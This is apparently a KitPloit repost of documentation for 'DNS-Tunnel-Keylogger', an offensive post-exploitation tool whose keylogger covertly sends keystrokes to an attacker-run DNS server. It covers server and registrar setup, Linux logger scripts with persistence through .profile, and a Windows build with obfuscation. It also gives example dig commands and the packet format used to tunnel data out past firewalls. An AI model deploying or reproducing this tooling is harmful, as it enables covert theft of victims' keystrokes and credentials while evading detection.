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DNS-Tunnel-Keylogger – Keylogging Server And Client That Uses DNS Tunneling/Exfiltration To Transmit Keystrokes

This post-exploitation keylogger will covertly exfiltrate keystrokes to a server.

These tools excel at lightweight exfiltration and persistence, properties which will prevent detection. It uses DNS tunelling/exfiltration to bypass firewalls and avoid detection.

Setup

The server uses python3.

To install dependencies, run python3 -m pip install -r requirements.txt

Starting the Server

To start the server, run python3 main.py

usage: dns exfiltration server [-h] [-p PORT] ip domain

positional arguments:
ip
domain

options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on

By default, the server listens on UDP port 53. Use the -p flag to specify a different port.

ip is the IP address of the server. It is used in SOA and NS records, which allow other nameservers to find the server.

domain is the domain to listen for, which should be the domain that the server is authoritative for.

Registrar

On the registrar, you want to change your domain’s namespace to custom DNS.

Point them to two domains, ns1.example.com and ns2.example.com.

Add records that make point the namespace domains to your exfiltration server’s IP address.

This is the same as setting glue records.

Linux

The Linux keylogger is two bash scripts. connection.sh is used by the logger.sh script to send the keystrokes to the server. If you want to manually send data, such as a file, you can pipe data to the connection.sh script. It will automatically establish a connection and send the data.

logger.sh

# Usage: logger.sh [-options] domain
# Positional Arguments:
# domain: the domain to send data to
# Options:
# -p path: give path to log file to listen to
# -l: run the logger with warnings and errors printed

To start the keylogger, run the command ./logger.sh [domain] && exit. This will silently start the keylogger, and any inputs typed will be sent. The && exit at the end will cause the shell to close on exit. Without it, exiting will bring you back to the non-keylogged shell. Remove the &> /dev/null to display error messages.

The -p option will specify the location of the temporary log file where all the inputs are sent to. By default, this is /tmp/.

The -l option will show warnings and errors. Can be useful for debugging.

logger.sh and connection.sh must be in the same directory for the keylogger to work. If you want persistance, you can add the command to .profile to start on every new interactive shell.

connection.sh

Usage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet

Windows

Build

To build keylogging program, run make in the windows directory. To build with reduced size and some amount of obfuscation, make the production target. This will create the build directory for you and output to a file named logger.exe in the build directory.

make production domain=example.com

You can also choose to build the program with debugging by making the debug target.

make debug domain=example.com

For both targets, you will need to specify the domain the server is listening for.

Sending Test Requests

You can use dig to send requests to the server:

dig @127.0.0.1 a.1.1.1.example.com A +short send a connection request to a server on localhost.

dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short send a test message to localhost.

Replace example.com with the domain the server is listening for.

Starting a Connection

A record requests starting with a indicate the start of a “connection.” When the server receives them, it will respond with a fake non-reserved IP address where the last octet contains the id of the client.

The following is the format to follow for starting a connection: a.1.1.1.[sld].[tld].

The server will respond with an IP address in following format: 123.123.123.[id]

Concurrent connections cannot exceed 254, and clients are never considered “disconnected.”

Exfiltrating Data

A record requests starting with b indicate exfiltrated data being sent to the server.

The following is the format to follow for sending data after establishing a connection: b.[packet #].[id].[data].[sld].[tld].

The server will respond with [code].123.123.123

id is the id that was established on connection. Data is sent as ASCII encoded in hex.

code is one of the codes described below.

Response Codes

200: OK

If the client sends a request that is processed normally, the server will respond with code 200.

201: Malformed Record Requests

If the client sends an malformed record request, the server will respond with code 201.

202: Non-Existant Connections

If the client sends a data packet with an id greater than the # of connections, the server will respond with code 202.

203: Out of Order Packets

If the client sends a packet with a packet id that doesn’t match what is expected, the server will respond with code 203. Clients and servers should reset their packet numbers to 0. Then the client can resend the packet with the new packet id.

204 Reached Max Connection

If the client attempts to create a connection when the max has reached, the server will respond with code 204.

Dropped Packets

Clients should rely on responses as acknowledgements of received packets. If they do not receive a response, they should resend the same payload.

Linux

Log File

The log file containing user inputs contains ASCII control characters, such as backspace, delete, and carriage return. If you print the contents using something like cat, you should select the appropriate option to print ASCII control characters, such as -v for cat, or open it in a text-editor.

Non-Interactive Shells

The keylogger relies on script, so the keylogger won’t run in non-interactive shells.

Windows

Repeated Requests

For some reason, the Windows Dns_Query_A always sends duplicate requests. The server will process it fine because it discards repeated packets.

Source : KitPloit – PenTest Tools!

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